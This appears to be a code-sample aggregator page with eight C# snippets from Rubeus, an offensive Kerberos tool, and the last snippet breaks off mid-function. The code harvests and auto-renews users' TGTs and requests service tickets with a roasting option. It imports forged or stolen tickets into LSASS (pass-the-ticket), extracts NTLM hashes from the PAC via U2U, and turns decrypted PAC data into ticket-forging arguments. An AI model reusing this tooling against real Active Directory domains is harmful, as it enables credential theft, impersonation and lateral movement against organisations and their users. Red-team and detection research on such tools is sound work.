Пример #1
0
        public void Execute(Dictionary <string, string> arguments)
        {
            if (arguments.ContainsKey("/ticket"))
            {
                string kirbi64 = arguments["/ticket"];

                if (Helpers.IsBase64String(kirbi64))
                {
                    byte[]   kirbiBytes = Convert.FromBase64String(kirbi64);
                    KRB_CRED kirbi      = new KRB_CRED(kirbiBytes);
                    LSA.DisplayTicket(kirbi);
                }
                else if (File.Exists(kirbi64))
                {
                    byte[]   kirbiBytes = File.ReadAllBytes(kirbi64);
                    KRB_CRED kirbi      = new KRB_CRED(kirbiBytes);
                    LSA.DisplayTicket(kirbi);
                }
                else
                {
                    Console.WriteLine("\r\n[X] /ticket:X must either be a .kirbi file or a base64 encoded .kirbi\r\n");
                }
                return;
            }
            else
            {
                Console.WriteLine("\r\n[X] A /ticket:X needs to be supplied!\r\n");
                return;
            }
        }
Пример #2
0
        private void AddTicketsToTicketCache(List <KRB_CRED> tickets, bool displayNewTickets)
        {
            // adds a list of KRB_CREDs to the internal cache
            //  displayNewTickets - display new TGTs as they're added, e.g. "monitor" mode

            bool newTicketsAdded = false;

            if (tickets == null)
            {
                throw new ArgumentNullException(nameof(tickets));
            }

            foreach (var ticket in tickets)
            {
                var newTgtBytes = Convert.ToBase64String(ticket.RawBytes);

                var ticketInCache = false;

                foreach (var cachedTicket in harvesterTicketCache)
                {
                    // check the base64 of the raw ticket bytes to see if we've seen it before
                    if (Convert.ToBase64String(cachedTicket.RawBytes) == newTgtBytes)
                    {
                        ticketInCache = true;
                        break;
                    }
                }

                if (ticketInCache)
                {
                    continue;
                }

                var endTime = TimeZone.CurrentTimeZone.ToLocalTime(ticket.enc_part.ticket_info[0].endtime);

                if (endTime < DateTime.Now)
                {
                    // skip if the ticket is expired
                    continue;
                }

                harvesterTicketCache.Add(ticket);
                newTicketsAdded = true;

                if (displayNewTickets)
                {
                    Console.WriteLine($"\r\n[*] {DateTime.Now.ToUniversalTime()} UTC - Found new TGT:\r\n");
                    LSA.DisplayTicket(ticket, 2, true, true, false, this.nowrap);
                }
            }

            if (displayNewTickets && newTicketsAdded)
            {
                Console.WriteLine("[*] Ticket cache size: {0}\r\n", harvesterTicketCache.Count);
            }
        }
Пример #3
0
        private void RefreshTicketCache(bool display = false)
        {
            // goes through each ticket in the cache, removes any tickets that have expired
            //  and renews any tickets that are going to expire before the next check interval
            //  then displays the current "active" ticket cache if "display" is passed as true

            if (display)
            {
                Console.WriteLine("\r\n[*] Refreshing TGT ticket cache ({0})\r\n", DateTime.Now);
            }

            for (var i = harvesterTicketCache.Count - 1; i >= 0; i--)
            {
                var endTime    = TimeZone.CurrentTimeZone.ToLocalTime(harvesterTicketCache[i].enc_part.ticket_info[0].endtime);
                var renewTill  = TimeZone.CurrentTimeZone.ToLocalTime(harvesterTicketCache[i].enc_part.ticket_info[0].renew_till);
                var userName   = harvesterTicketCache[i].enc_part.ticket_info[0].pname.name_string[0];
                var domainName = harvesterTicketCache[i].enc_part.ticket_info[0].prealm;

                // check if the ticket has now expired
                if (endTime < DateTime.Now)
                {
                    Console.WriteLine("[!] Removing TGT for {0}@{1}\r\n", userName, domainName);
                    // remove the ticket from the cache
                    Console.WriteLine("harvesterTicketCache count: {0}", harvesterTicketCache.Count);
                    harvesterTicketCache.RemoveAt(i);
                    Console.WriteLine("harvesterTicketCache count: {0}", harvesterTicketCache.Count);
                }

                else
                {
                    // check if the ticket is going to expire before the next interval checkin
                    //  but we'll still be in the renew window
                    if ((endTime < DateTime.Now.AddSeconds(monitorIntervalSeconds)) && (renewTill > DateTime.Now.AddSeconds(monitorIntervalSeconds)))
                    {
                        // renewal limit after checkin interval, so renew the TGT
                        userName   = harvesterTicketCache[i].enc_part.ticket_info[0].pname.name_string[0];
                        domainName = harvesterTicketCache[i].enc_part.ticket_info[0].prealm;

                        Console.WriteLine("[*] Renewing TGT for {0}@{1}\r\n", userName, domainName);
                        var bytes       = Renew.TGT(harvesterTicketCache[i], "", false, "", false);
                        var renewedCred = new KRB_CRED(bytes);
                        harvesterTicketCache[i] = renewedCred;
                    }

                    if (display)
                    {
                        LSA.DisplayTicket(harvesterTicketCache[i], 2, true, true, false, this.nowrap);
                    }
                }
            }

            if (display)
            {
                Console.WriteLine("[*] Ticket cache size: {0}", harvesterTicketCache.Count);
            }
        }
Пример #4
0
        public void Execute(Dictionary <string, string> arguments)
        {
            string kirbi64;

            if (!arguments.TryGetValue("/ticket", out kirbi64))
            {
                Console.WriteLine("\r\n[X] A /ticket:X needs to be supplied!\r\n");
                return;
            }
            if (Helpers.IsBase64String(kirbi64))
            {
                LSA.DisplayTicket(new KRB_CRED(Convert.FromBase64String(kirbi64)));
                return;
            }
            if (File.Exists(kirbi64))
            {
                LSA.DisplayTicket(new KRB_CRED(File.ReadAllBytes(kirbi64)));
                return;
            }
            Console.WriteLine("\r\n[X] /ticket:X must either be a .kirbi file or a base64 encoded .kirbi\r\n");
            return;
        }
Пример #5
0
        public static byte[] TGS(string userName, string domain, Ticket providedTicket, byte[] clientKey, Interop.KERB_ETYPE paEType, string service, Interop.KERB_ETYPE requestEType = Interop.KERB_ETYPE.subkey_keymaterial, string outfile = "", bool ptt = false, string domainController = "", bool display = true, bool enterprise = false, bool roast = false)
        {
            string dcIP = Networking.GetDCIP(domainController, display);

            if (String.IsNullOrEmpty(dcIP))
            {
                return(null);
            }

            if (display)
            {
                if (requestEType == Interop.KERB_ETYPE.subkey_keymaterial)
                {
                    Console.WriteLine("[*] Requesting default etypes (RC4_HMAC, AES[128/256]_CTS_HMAC_SHA1) for the service ticket", requestEType);
                }
                else
                {
                    Console.WriteLine("[*] Requesting '{0}' etype for the service ticket", requestEType);
                }

                Console.WriteLine("[*] Building TGS-REQ request for: '{0}'", service);
            }

            byte[] tgsBytes = TGS_REQ.NewTGSReq(userName, domain, service, providedTicket, clientKey, paEType, requestEType, false, "", enterprise, roast);

            byte[] response = Networking.SendBytes(dcIP, 88, tgsBytes);
            if (response == null)
            {
                return(null);
            }

            // decode the supplied bytes to an AsnElt object
            //  false == ignore trailing garbage
            AsnElt responseAsn = AsnElt.Decode(response, false);

            // check the response value
            int responseTag = responseAsn.TagValue;

            if (responseTag == 13)
            {
                if (display)
                {
                    Console.WriteLine("[+] TGS request successful!");
                }

                // parse the response to an TGS-REP
                TGS_REP rep = new TGS_REP(responseAsn);

                // KRB_KEY_USAGE_TGS_REP_EP_SESSION_KEY = 8
                byte[]        outBytes   = Crypto.KerberosDecrypt(paEType, Interop.KRB_KEY_USAGE_TGS_REP_EP_SESSION_KEY, clientKey, rep.enc_part.cipher);
                AsnElt        ae         = AsnElt.Decode(outBytes, false);
                EncKDCRepPart encRepPart = new EncKDCRepPart(ae.Sub[0]);

                // now build the final KRB-CRED structure
                KRB_CRED cred = new KRB_CRED();

                // add the ticket
                cred.tickets.Add(rep.ticket);

                // build the EncKrbCredPart/KrbCredInfo parts from the ticket and the data in the encRepPart

                KrbCredInfo info = new KrbCredInfo();

                // [0] add in the session key
                info.key.keytype  = encRepPart.key.keytype;
                info.key.keyvalue = encRepPart.key.keyvalue;

                // [1] prealm (domain)
                info.prealm = rep.crealm;

                // [2] pname (user)
                info.pname.name_type   = rep.cname.name_type;
                info.pname.name_string = rep.cname.name_string;

                // [3] flags
                info.flags = encRepPart.flags;

                // [4] authtime (not required)

                // [5] starttime
                info.starttime = encRepPart.starttime;

                // [6] endtime
                info.endtime = encRepPart.endtime;

                // [7] renew-till
                info.renew_till = encRepPart.renew_till;

                // [8] srealm
                info.srealm = encRepPart.realm;

                // [9] sname
                info.sname.name_type   = encRepPart.sname.name_type;
                info.sname.name_string = encRepPart.sname.name_string;

                // add the ticket_info into the cred object
                cred.enc_part.ticket_info.Add(info);

                byte[] kirbiBytes = cred.Encode().Encode();

                string kirbiString = Convert.ToBase64String(kirbiBytes);

                if (ptt)
                {
                    // pass-the-ticket -> import into LSASS
                    LSA.ImportTicket(kirbiBytes, new LUID());
                }

                if (display)
                {
                    Console.WriteLine("[*] base64(ticket.kirbi):\r\n", kirbiString);

                    if (Rubeus.Program.wrapTickets)
                    {
                        // display the .kirbi base64, columns of 80 chararacters
                        foreach (string line in Helpers.Split(kirbiString, 80))
                        {
                            Console.WriteLine("      {0}", line);
                        }
                    }
                    else
                    {
                        Console.WriteLine("      {0}", kirbiString);
                    }

                    KRB_CRED kirbi = new KRB_CRED(kirbiBytes);
                    LSA.DisplayTicket(kirbi);
                }

                if (!String.IsNullOrEmpty(outfile))
                {
                    outfile = Helpers.MakeValidFileName(outfile);
                    if (Helpers.WriteBytesToFile(outfile, kirbiBytes))
                    {
                        if (display)
                        {
                            Console.WriteLine("\r\n[*] Ticket written to {0}\r\n", outfile);
                        }
                    }
                }

                return(kirbiBytes);
            }
            else if (responseTag == 30)
            {
                // parse the response to an KRB-ERROR
                KRB_ERROR error = new KRB_ERROR(responseAsn.Sub[0]);
                Console.WriteLine("\r\n[X] KRB-ERROR ({0}) : {1}\r\n", error.error_code, (Interop.KERBEROS_ERROR)error.error_code);
            }
            else
            {
                Console.WriteLine("\r\n[X] Unknown application tag: {0}", responseTag);
            }
            return(null);
        }
Пример #6
0
        public static byte[] InnerTGT(AS_REQ asReq, Interop.KERB_ETYPE etype, string outfile, bool ptt, string domainController = "", LUID luid = new LUID(), bool describe = false, bool verbose = false)
        {
            if ((ulong)luid != 0)
            {
                Console.WriteLine("[*] Target LUID : {0}", (ulong)luid);
            }

            string dcIP = Networking.GetDCIP(domainController, false);

            if (String.IsNullOrEmpty(dcIP))
            {
                throw new RubeusException("[X] Unable to get domain controller address");
            }

            byte[] response = Networking.SendBytes(dcIP, 88, asReq.Encode().Encode());
            if (response == null)
            {
                throw new RubeusException("[X] No answer from domain controller");
            }

            // decode the supplied bytes to an AsnElt object
            //  false == ignore trailing garbage
            AsnElt responseAsn = AsnElt.Decode(response, false);

            // check the response value
            int responseTag = responseAsn.TagValue;

            if (responseTag == 11)
            {
                if (verbose)
                {
                    Console.WriteLine("[+] TGT request successful!");
                }

                // parse the response to an AS-REP
                AS_REP rep = new AS_REP(responseAsn);
                byte[] key;

                if (GetPKInitRequest(asReq, out PA_PK_AS_REQ pkAsReq))
                {
                    // generate the decryption key using Diffie Hellman shared secret
                    PA_PK_AS_REP pkAsRep = (PA_PK_AS_REP)rep.padata[0].value;
                    key = pkAsReq.Agreement.GenerateKey(pkAsRep.DHRepInfo.KDCDHKeyInfo.SubjectPublicKey.DepadLeft(), new byte[0],
                                                        pkAsRep.DHRepInfo.ServerDHNonce, GetKeySize(etype));
                }
                else
                {
                    // convert the key string to bytes
                    key = Helpers.StringToByteArray(asReq.keyString);
                }

                // decrypt the enc_part containing the session key/etc.
                // TODO: error checking on the decryption "failing"...
                byte[] outBytes;

                if (etype == Interop.KERB_ETYPE.des_cbc_md5)
                {
                    // KRB_KEY_USAGE_TGS_REP_EP_SESSION_KEY = 8
                    outBytes = Crypto.KerberosDecrypt(etype, Interop.KRB_KEY_USAGE_TGS_REP_EP_SESSION_KEY, key, rep.enc_part.cipher);
                }
                else if (etype == Interop.KERB_ETYPE.rc4_hmac)
                {
                    // KRB_KEY_USAGE_TGS_REP_EP_SESSION_KEY = 8
                    outBytes = Crypto.KerberosDecrypt(etype, Interop.KRB_KEY_USAGE_TGS_REP_EP_SESSION_KEY, key, rep.enc_part.cipher);
                }
                else if (etype == Interop.KERB_ETYPE.aes128_cts_hmac_sha1)
                {
                    // KRB_KEY_USAGE_AS_REP_EP_SESSION_KEY = 3
                    outBytes = Crypto.KerberosDecrypt(etype, Interop.KRB_KEY_USAGE_AS_REP_EP_SESSION_KEY, key, rep.enc_part.cipher);
                }
                else if (etype == Interop.KERB_ETYPE.aes256_cts_hmac_sha1)
                {
                    // KRB_KEY_USAGE_AS_REP_EP_SESSION_KEY = 3
                    outBytes = Crypto.KerberosDecrypt(etype, Interop.KRB_KEY_USAGE_AS_REP_EP_SESSION_KEY, key, rep.enc_part.cipher);
                }
                else
                {
                    throw new RubeusException("[X] Encryption type \"" + etype + "\" not currently supported");
                }


                AsnElt ae = AsnElt.Decode(outBytes, false);

                EncKDCRepPart encRepPart = new EncKDCRepPart(ae.Sub[0]);

                // now build the final KRB-CRED structure
                KRB_CRED cred = new KRB_CRED();

                // add the ticket
                cred.tickets.Add(rep.ticket);

                // build the EncKrbCredPart/KrbCredInfo parts from the ticket and the data in the encRepPart

                KrbCredInfo info = new KrbCredInfo();

                // [0] add in the session key
                info.key.keytype  = encRepPart.key.keytype;
                info.key.keyvalue = encRepPart.key.keyvalue;

                // [1] prealm (domain)
                info.prealm = encRepPart.realm;

                // [2] pname (user)
                info.pname.name_type   = rep.cname.name_type;
                info.pname.name_string = rep.cname.name_string;

                // [3] flags
                info.flags = encRepPart.flags;

                // [4] authtime (not required)

                // [5] starttime
                info.starttime = encRepPart.starttime;

                // [6] endtime
                info.endtime = encRepPart.endtime;

                // [7] renew-till
                info.renew_till = encRepPart.renew_till;

                // [8] srealm
                info.srealm = encRepPart.realm;

                // [9] sname
                info.sname.name_type   = encRepPart.sname.name_type;
                info.sname.name_string = encRepPart.sname.name_string;

                // add the ticket_info into the cred object
                cred.enc_part.ticket_info.Add(info);

                byte[] kirbiBytes = cred.Encode().Encode();

                if (verbose)
                {
                    string kirbiString = Convert.ToBase64String(kirbiBytes);

                    Console.WriteLine("[*] base64(ticket.kirbi):\r\n", kirbiString);

                    if (Rubeus.Program.wrapTickets)
                    {
                        // display the .kirbi base64, columns of 80 chararacters
                        foreach (string line in Helpers.Split(kirbiString, 80))
                        {
                            Console.WriteLine("      {0}", line);
                        }
                    }
                    else
                    {
                        Console.WriteLine("      {0}", kirbiString);
                    }
                }

                if (!String.IsNullOrEmpty(outfile))
                {
                    outfile = Helpers.MakeValidFileName(outfile);
                    if (Helpers.WriteBytesToFile(outfile, kirbiBytes))
                    {
                        if (verbose)
                        {
                            Console.WriteLine("\r\n[*] Ticket written to {0}\r\n", outfile);
                        }
                    }
                }

                if (ptt || ((ulong)luid != 0))
                {
                    // pass-the-ticket -> import into LSASS
                    LSA.ImportTicket(kirbiBytes, luid);
                }

                if (describe)
                {
                    KRB_CRED kirbi = new KRB_CRED(kirbiBytes);
                    LSA.DisplayTicket(kirbi);
                }

                return(kirbiBytes);
            }
            else if (responseTag == 30)
            {
                // parse the response to an KRB-ERROR
                KRB_ERROR error = new KRB_ERROR(responseAsn.Sub[0]);
                throw new KerberosErrorException("", error);
            }
            else
            {
                throw new RubeusException("[X] Unknown application tag: " + responseTag);
            }
        }
Пример #7
0
        private static byte[] HandleASREP(AsnElt responseAsn, Interop.KERB_ETYPE etype, string keyString, string outfile, bool ptt, LUID luid = new LUID(), bool describe = false, bool verbose = false, AS_REQ asReq = null, string serviceKey = "", bool getCredentials = false, string dcIP = "")
        {
            // parse the response to an AS-REP
            AS_REP rep = new AS_REP(responseAsn);

            // convert the key string to bytes
            byte[] key;
            if (GetPKInitRequest(asReq, out PA_PK_AS_REQ pkAsReq))
            {
                // generate the decryption key using Diffie Hellman shared secret
                PA_PK_AS_REP pkAsRep = (PA_PK_AS_REP)rep.padata[0].value;
                key = pkAsReq.Agreement.GenerateKey(pkAsRep.DHRepInfo.KDCDHKeyInfo.SubjectPublicKey.DepadLeft(), new byte[0],
                                                    pkAsRep.DHRepInfo.ServerDHNonce, GetKeySize(etype));
            }
            else
            {
                // convert the key string to bytes
                key = Helpers.StringToByteArray(asReq.keyString);
            }

            // decrypt the enc_part containing the session key/etc.
            // TODO: error checking on the decryption "failing"...
            byte[] outBytes;

            if (etype == Interop.KERB_ETYPE.des_cbc_md5)
            {
                // KRB_KEY_USAGE_TGS_REP_EP_SESSION_KEY = 8
                outBytes = Crypto.KerberosDecrypt(etype, Interop.KRB_KEY_USAGE_TGS_REP_EP_SESSION_KEY, key, rep.enc_part.cipher);
            }
            else if (etype == Interop.KERB_ETYPE.rc4_hmac)
            {
                // KRB_KEY_USAGE_TGS_REP_EP_SESSION_KEY = 8
                outBytes = Crypto.KerberosDecrypt(etype, Interop.KRB_KEY_USAGE_TGS_REP_EP_SESSION_KEY, key, rep.enc_part.cipher);
            }
            else if (etype == Interop.KERB_ETYPE.aes128_cts_hmac_sha1)
            {
                // KRB_KEY_USAGE_AS_REP_EP_SESSION_KEY = 3
                outBytes = Crypto.KerberosDecrypt(etype, Interop.KRB_KEY_USAGE_AS_REP_EP_SESSION_KEY, key, rep.enc_part.cipher);
            }
            else if (etype == Interop.KERB_ETYPE.aes256_cts_hmac_sha1)
            {
                // KRB_KEY_USAGE_AS_REP_EP_SESSION_KEY = 3
                outBytes = Crypto.KerberosDecrypt(etype, Interop.KRB_KEY_USAGE_AS_REP_EP_SESSION_KEY, key, rep.enc_part.cipher);
            }
            else
            {
                throw new RubeusException("[X] Encryption type \"" + etype + "\" not currently supported");
            }

            AsnElt ae = AsnElt.Decode(outBytes);

            EncKDCRepPart encRepPart = new EncKDCRepPart(ae.Sub[0]);

            // now build the final KRB-CRED structure
            KRB_CRED cred = new KRB_CRED();

            // add the ticket
            cred.tickets.Add(rep.ticket);

            // build the EncKrbCredPart/KrbCredInfo parts from the ticket and the data in the encRepPart

            KrbCredInfo info = new KrbCredInfo();

            // [0] add in the session key
            info.key.keytype  = encRepPart.key.keytype;
            info.key.keyvalue = encRepPart.key.keyvalue;

            // [1] prealm (domain)
            info.prealm = encRepPart.realm;

            // [2] pname (user)
            info.pname.name_type   = rep.cname.name_type;
            info.pname.name_string = rep.cname.name_string;

            // [3] flags
            info.flags = encRepPart.flags;

            // [4] authtime (not required)

            // [5] starttime
            info.starttime = encRepPart.starttime;

            // [6] endtime
            info.endtime = encRepPart.endtime;

            // [7] renew-till
            info.renew_till = encRepPart.renew_till;

            // [8] srealm
            info.srealm = encRepPart.realm;

            // [9] sname
            info.sname.name_type   = encRepPart.sname.name_type;
            info.sname.name_string = encRepPart.sname.name_string;

            // add the ticket_info into the cred object
            cred.enc_part.ticket_info.Add(info);

            byte[] kirbiBytes = cred.Encode().Encode();

            if (verbose)
            {
                string kirbiString = Convert.ToBase64String(kirbiBytes);

                Console.WriteLine("[*] base64(ticket.kirbi):\r\n", kirbiString);

                if (Rubeus.Program.wrapTickets)
                {
                    // display the .kirbi base64, columns of 80 chararacters
                    foreach (string line in Helpers.Split(kirbiString, 80))
                    {
                        Console.WriteLine("      {0}", line);
                    }
                }
                else
                {
                    Console.WriteLine("      {0}", kirbiString);
                }
            }

            if (!String.IsNullOrEmpty(outfile))
            {
                outfile = Helpers.MakeValidFileName(outfile);
                if (Helpers.WriteBytesToFile(outfile, kirbiBytes))
                {
                    if (verbose)
                    {
                        Console.WriteLine("\r\n[*] Ticket written to {0}\r\n", outfile);
                    }
                }
            }

            if (ptt || ((ulong)luid != 0))
            {
                // pass-the-ticket -> import into LSASS
                LSA.ImportTicket(kirbiBytes, luid);
            }

            if (describe)
            {
                KRB_CRED kirbi = new KRB_CRED(kirbiBytes);
                LSA.DisplayTicket(kirbi, 2, false, false, false, false, string.IsNullOrEmpty(serviceKey) ? null : Helpers.StringToByteArray(serviceKey), key);
            }

            if (getCredentials)
            {
                Console.WriteLine("[*] Getting credentials using U2U\r\n");
                byte[] u2uBytes    = TGS_REQ.NewTGSReq(info.pname.name_string[0], info.prealm, info.pname.name_string[0], cred.tickets[0], info.key.keyvalue, (Interop.KERB_ETYPE)info.key.keytype, Interop.KERB_ETYPE.subkey_keymaterial, false, String.Empty, false, false, false, false, cred, "", true);
                byte[] u2uResponse = Networking.SendBytes(dcIP, 88, u2uBytes);
                if (u2uResponse == null)
                {
                    return(null);
                }
                AsnElt u2uResponseAsn = AsnElt.Decode(u2uResponse);

                // check the response value
                int responseTag = u2uResponseAsn.TagValue;

                if (responseTag == (int)Interop.KERB_MESSAGE_TYPE.TGS_REP)
                {
                    // parse the response to an TGS-REP and get the PAC
                    TGS_REP       u2uRep           = new TGS_REP(u2uResponseAsn);
                    EncTicketPart u2uEncTicketPart = u2uRep.ticket.Decrypt(info.key.keyvalue, key);
                    PACTYPE       pt = u2uEncTicketPart.GetPac(key);

                    // look for the credential information and print
                    foreach (var pacInfoBuffer in pt.PacInfoBuffers)
                    {
                        if (pacInfoBuffer is PacCredentialInfo ci)
                        {
                            Console.WriteLine("  CredentialInfo         :");
                            Console.WriteLine("    Version              : {0}", ci.Version);
                            Console.WriteLine("    EncryptionType       : {0}", ci.EncryptionType);

                            if (ci.CredentialInfo.HasValue)
                            {
                                Console.WriteLine("    CredentialData       :");
                                Console.WriteLine("      CredentialCount    : {0}", ci.CredentialInfo.Value.CredentialCount);

                                foreach (var credData in ci.CredentialInfo.Value.Credentials)
                                {
                                    string hash = "";
                                    if ("NTLM".Equals(credData.PackageName.ToString()))
                                    {
                                        int version = BitConverter.ToInt32((byte[])(Array)credData.Credentials, 0);
                                        int flags   = BitConverter.ToInt32((byte[])(Array)credData.Credentials, 4);
                                        if (flags == 3)
                                        {
                                            hash = String.Format("{0}:{1}", Helpers.ByteArrayToString(((byte[])(Array)credData.Credentials).Skip(8).Take(16).ToArray()), Helpers.ByteArrayToString(((byte[])(Array)credData.Credentials).Skip(24).Take(16).ToArray()));
                                        }
                                        else
                                        {
                                            hash = String.Format("{0}", Helpers.ByteArrayToString(((byte[])(Array)credData.Credentials).Skip(24).Take(16).ToArray()));
                                        }
                                    }
                                    else
                                    {
                                        hash = Helpers.ByteArrayToString((byte[])(Array)credData.Credentials);
                                    }

                                    Console.WriteLine("       {0}              : {1}", credData.PackageName, hash);
                                }
                            }
                            else
                            {
                                Console.WriteLine("    CredentialData    :   *** NO KEY ***");
                            }
                        }
                    }
                }
                else if (responseTag == (int)Interop.KERB_MESSAGE_TYPE.ERROR)
                {
                    // parse the response to an KRB-ERROR
                    KRB_ERROR error = new KRB_ERROR(u2uResponseAsn.Sub[0]);
                    Console.WriteLine("\r\n[X] KRB-ERROR ({0}) : {1}\r\n", error.error_code, (Interop.KERBEROS_ERROR)error.error_code);
                }
                else
                {
                    Console.WriteLine("\r\n[X] Unknown application tag: {0}", responseTag);
                }
            }

            return(kirbiBytes);
        }
Пример #8
0
        public static byte[] TGS(string userName, string domain, Ticket providedTicket, byte[] clientKey, Interop.KERB_ETYPE paEType, string service, Interop.KERB_ETYPE requestEType = Interop.KERB_ETYPE.subkey_keymaterial, string outfile = "", bool ptt = false, string domainController = "", bool display = true, bool enterprise = false, bool roast = false, bool opsec = false, KRB_CRED tgs = null, string targetDomain = "", string servicekey = "", string asrepkey = "", bool u2u = false, string targetUser = "", bool printargs = false)
        {
            string dcIP = Networking.GetDCIP(domainController, display);

            if (String.IsNullOrEmpty(dcIP))
            {
                return(null);
            }

            if (display)
            {
                if (requestEType == Interop.KERB_ETYPE.subkey_keymaterial)
                {
                    Console.WriteLine("[*] Requesting default etypes (RC4_HMAC, AES[128/256]_CTS_HMAC_SHA1) for the service ticket", requestEType);
                }
                else
                {
                    Console.WriteLine("[*] Requesting '{0}' etype for the service ticket", requestEType);
                }

                if (!String.IsNullOrEmpty(service))
                {
                    Console.WriteLine("[*] Building TGS-REQ request for: '{0}'", service);
                }
                else if (u2u)
                {
                    Console.WriteLine("[*] Building User-to-User TGS-REQ request for: '{0}'", userName);
                }
                else
                {
                    Console.WriteLine("[*] Building TGS-REQ request");
                }
            }

            // if /service is empty get name from the supplied /tgs
            if (u2u && tgs != null && String.IsNullOrEmpty(service))
            {
                service = tgs.enc_part.ticket_info[0].pname.name_string[0];
            }

            byte[] tgsBytes = TGS_REQ.NewTGSReq(userName, domain, service, providedTicket, clientKey, paEType, requestEType, false, targetUser, enterprise, roast, opsec, false, tgs, targetDomain, u2u);

            byte[] response = Networking.SendBytes(dcIP, 88, tgsBytes);
            if (response == null)
            {
                return(null);
            }

            // decode the supplied bytes to an AsnElt object
            //  false == ignore trailing garbage
            AsnElt responseAsn = AsnElt.Decode(response);

            // check the response value
            int responseTag = responseAsn.TagValue;

            if (responseTag == (int)Interop.KERB_MESSAGE_TYPE.TGS_REP)
            {
                if (display)
                {
                    Console.WriteLine("[+] TGS request successful!");
                }

                // parse the response to an TGS-REP
                TGS_REP rep = new TGS_REP(responseAsn);

                // KRB_KEY_USAGE_TGS_REP_EP_SESSION_KEY = 8
                byte[]        outBytes   = Crypto.KerberosDecrypt(paEType, Interop.KRB_KEY_USAGE_TGS_REP_EP_SESSION_KEY, clientKey, rep.enc_part.cipher);
                AsnElt        ae         = AsnElt.Decode(outBytes);
                EncKDCRepPart encRepPart = new EncKDCRepPart(ae.Sub[0]);

                // if using /opsec and the ticket is for a server configuration for unconstrained delegation, request a forwardable TGT
                if (opsec && (!roast) && ((encRepPart.flags & Interop.TicketFlags.ok_as_delegate) != 0))
                {
                    byte[] tgtBytes = TGS_REQ.NewTGSReq(userName, domain, string.Format("krbtgt/{0}", domain), providedTicket, clientKey, paEType, requestEType, false, "", enterprise, roast, opsec, true);

                    byte[] tgtResponse = Networking.SendBytes(dcIP, 88, tgtBytes);
                }

                // now build the final KRB-CRED structure
                KRB_CRED cred = new KRB_CRED();

                // add the ticket
                cred.tickets.Add(rep.ticket);

                // build the EncKrbCredPart/KrbCredInfo parts from the ticket and the data in the encRepPart

                KrbCredInfo info = new KrbCredInfo();

                // [0] add in the session key
                info.key.keytype  = encRepPart.key.keytype;
                info.key.keyvalue = encRepPart.key.keyvalue;

                // [1] prealm (domain)
                info.prealm = rep.crealm;

                // [2] pname (user)
                info.pname.name_type   = rep.cname.name_type;
                info.pname.name_string = rep.cname.name_string;

                // [3] flags
                info.flags = encRepPart.flags;

                // [4] authtime (not required)

                // [5] starttime
                info.starttime = encRepPart.starttime;

                // [6] endtime
                info.endtime = encRepPart.endtime;

                // [7] renew-till
                info.renew_till = encRepPart.renew_till;

                // [8] srealm
                info.srealm = encRepPart.realm;

                // [9] sname
                info.sname.name_type   = encRepPart.sname.name_type;
                info.sname.name_string = encRepPart.sname.name_string;

                // add the ticket_info into the cred object
                cred.enc_part.ticket_info.Add(info);

                byte[] kirbiBytes = cred.Encode().Encode();

                string kirbiString = Convert.ToBase64String(kirbiBytes);

                if (ptt)
                {
                    // pass-the-ticket -> import into LSASS
                    LSA.ImportTicket(kirbiBytes, new LUID());
                }

                if (String.IsNullOrEmpty(servicekey) && u2u)
                {
                    servicekey = Helpers.ByteArrayToString(clientKey);
                }

                if (display)
                {
                    Console.WriteLine("[*] base64(ticket.kirbi):\r\n", kirbiString);

                    if (Rubeus.Program.wrapTickets)
                    {
                        // display the .kirbi base64, columns of 80 chararacters
                        foreach (string line in Helpers.Split(kirbiString, 80))
                        {
                            Console.WriteLine("      {0}", line);
                        }
                    }
                    else
                    {
                        Console.WriteLine("      {0}", kirbiString);
                    }

                    KRB_CRED kirbi = new KRB_CRED(kirbiBytes);

                    LSA.DisplayTicket(kirbi, 2, false, false, false, false,
                                      string.IsNullOrEmpty(servicekey) ? null : Helpers.StringToByteArray(servicekey), string.IsNullOrEmpty(asrepkey) ? null : Helpers.StringToByteArray(asrepkey));
                }

                if (!String.IsNullOrEmpty(outfile))
                {
                    outfile = Helpers.MakeValidFileName(outfile);
                    if (Helpers.WriteBytesToFile(outfile, kirbiBytes))
                    {
                        if (display)
                        {
                            Console.WriteLine("\r\n[*] Ticket written to {0}\r\n", outfile);
                        }
                    }
                }

                if (!String.IsNullOrEmpty(servicekey) && printargs)
                {
                    var     decryptedEncTicket = cred.tickets[0].Decrypt(Helpers.StringToByteArray(servicekey), null);
                    PACTYPE pt = decryptedEncTicket.GetPac(null);
                    if (pt == null)
                    {
                        Console.WriteLine("[X] Unable to get the PAC");
                        return(kirbiBytes);
                    }

                    string outArgs = String.Empty;

                    foreach (var pacInfoBuffer in pt.PacInfoBuffers)
                    {
                        if (pacInfoBuffer is LogonInfo li)
                        {
                            outArgs = String.Format("/user:{0} /id:{1} /pgid:{2} /logoncount:{3} /badpwdcount:{4} /sid:{5} /netbios:{6}", li.KerbValidationInfo.EffectiveName, li.KerbValidationInfo.UserId, li.KerbValidationInfo.PrimaryGroupId, li.KerbValidationInfo.LogonCount, li.KerbValidationInfo.BadPasswordCount, li.KerbValidationInfo.LogonDomainId.GetValue(), li.KerbValidationInfo.LogonDomainName);
                            if (!String.IsNullOrEmpty(li.KerbValidationInfo.FullName.ToString()))
                            {
                                outArgs = String.Format("{0} /displayname:\"{1}\"", outArgs, li.KerbValidationInfo.FullName);
                            }
                            if (!String.IsNullOrEmpty(li.KerbValidationInfo.LogonScript.ToString()))
                            {
                                outArgs = String.Format("{0} /scriptpath:\"{1}\"", outArgs, li.KerbValidationInfo.LogonScript);
                            }
                            if (!String.IsNullOrEmpty(li.KerbValidationInfo.ProfilePath.ToString()))
                            {
                                outArgs = String.Format("{0} /profilepath:\"{1}\"", outArgs, li.KerbValidationInfo.ProfilePath);
                            }
                            if (!String.IsNullOrEmpty(li.KerbValidationInfo.HomeDirectory.ToString()))
                            {
                                outArgs = String.Format("{0} /homedir:\"{1}\"", outArgs, li.KerbValidationInfo.HomeDirectory);
                            }
                            if (!String.IsNullOrEmpty(li.KerbValidationInfo.HomeDirectoryDrive.ToString()))
                            {
                                outArgs = String.Format("{0} /homedrive:\"{1}\"", outArgs, li.KerbValidationInfo.HomeDirectoryDrive);
                            }
                            if (li.KerbValidationInfo.GroupCount > 0)
                            {
                                outArgs = String.Format("{0} /groups:{1}", outArgs, li.KerbValidationInfo.GroupIds?.GetValue().Select(g => g.RelativeId.ToString()).Aggregate((cur, next) => cur + "," + next));
                            }
                            if (li.KerbValidationInfo.SidCount > 0)
                            {
                                outArgs = String.Format("{0} /sids:{1}", outArgs, li.KerbValidationInfo.ExtraSids.GetValue().Select(s => s.Sid.ToString()).Aggregate((cur, next) => cur + "," + next));
                            }
